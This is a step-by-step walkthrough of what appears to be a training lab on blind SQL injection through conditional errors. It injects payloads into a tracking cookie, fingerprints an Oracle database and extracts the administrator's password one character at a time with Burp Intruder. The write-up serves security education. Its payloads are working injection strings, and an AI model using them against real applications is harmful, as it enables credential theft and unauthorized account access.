Blind SQL injection with conditional errors
Description
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
The database contains a different table called users, with columns called username and password. Exploiting the blind SQL injection vulnerability the password of the administrator user can be found out.
Reproduction and proof of concept
Visit the Home page of the shop, and use Burp Suite to intercept and modify the request containing the
TrackingId
cookie. The value of the cookie isTrackingId=fUlVewByGOv8LfSS
.Confirm the
TrackingId
is a SQLi vulnerable parameter: Modify theTrackingId
cookie, appending a single quotation mark to it:TrackingId=fUlVewByGOv8LfSS'
. An error message is received.Now change it to two quotation marks:
TrackingId=fUlVewByGOv8LfSS''
. The error disappears. This suggests that a syntax error (in this case, the unclosed quotation mark) is having a detectable effect on the response.Confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error: Construct a subquery using valid SQL syntax:
TrackingId=fUlVewByGOv8LfSS'||(SELECT '')||'
The query appears to still be invalid. This may be due to the database type - try Oracle, by specifying a predictable table name in the query:
TrackingId=fUlVewByGOv8LfSS'||(SELECT '' FROM dual)||'
There is no error, indicating that the target is probably using an Oracle database, which requires all SELECT statements to explicitly specify a table name.
Crafted what appears to be a valid query, try submitting an invalid query while still preserving valid SQL syntax. For example, by querying a non-existent table name:
TrackingId=fUlVewByGOv8LfSS'||(SELECT '' FROM not-a-real-table)||'
An error is returned. This behaviour strongly suggests that your injection is being processed as a SQL query by the back-end.
Note: As long as syntactically valid SQL queries are injected, error responses can be used to infer key information about the database.
To verify that the users table exists, send the query:
TrackingId=fUlVewByGOv8LfSS'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
As this query does not return an error, infer that this table does exist. Note that the WHERE ROWNUM = 1
condition is important to prevent the query from returning more than one row, which would break the concatenation.
It is also possible exploit this behaviour to test conditions:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Verify that an error message is received.
Then change it to:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
The error disappears, demonstrating that it is possible to trigger an error conditionally on the truth of a specific condition. The CASE
statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The first expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions 1=1 and 1=2, and an error is received when the condition is true.
Note: It is possible to use this behaviour to test whether specific entries exist in a table.
Use the following query to check whether the username administrator exists:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Verify that the condition is true (the error is received), confirming that there is a user called administrator.
The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
This condition should be true, confirming that the password is greater than 1 character in length.
Send a series of follow-up values to test different password lengths. Send:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Then send:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
And so on. Do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the error disappears), you have determined the length of the password, which is 20 characters long.
After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests. Send the request to Burp Intruder, using the context menu.
In the Positions tab of Burp Intruder, clear the default payload positions by clicking the “Clear §” button.
In the Positions tab, change the value of the cookie to:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
This uses the SUBSTR()
function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.
Place payload position markers around the final a character in the cookie value. To do this, select just the
a
, and click the “Add §” button:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
To test the character at each position, you’ll need to send suitable payloads in the payload position that you’ve defined. You can assume that the password contains only lowercase alphanumeric characters. Go to the Payloads tab, check that “Simple list” is selected, and under “Payload Options” add the payloads in the range
a-z
and0-9
. You can select these easily using the “Add from list” drop-down.Launch the attack by clicking the “Start attack” button or selecting “Start attack” from the Intruder menu.
Review the attack results to find the value of the character at the first position. The application returns an HTTP
500
status code when the error occurs, and an HTTP200
status code normally. The “Status” column in the Intruder results shows the HTTP status code, so you can easily find the row with500
in this column. The payload showing for that row is the value of the character at the first position.
Re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from
1
to2
:
TrackingId=fUlVewByGOv8LfSS'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Launch the modified attack, review the results, and note the character at the second offset.
Continue this process testing offset
3
,4
, and so on, until the whole password is known.In the browser, click “My account” to open the login page. Use the password to log in as the administrator user.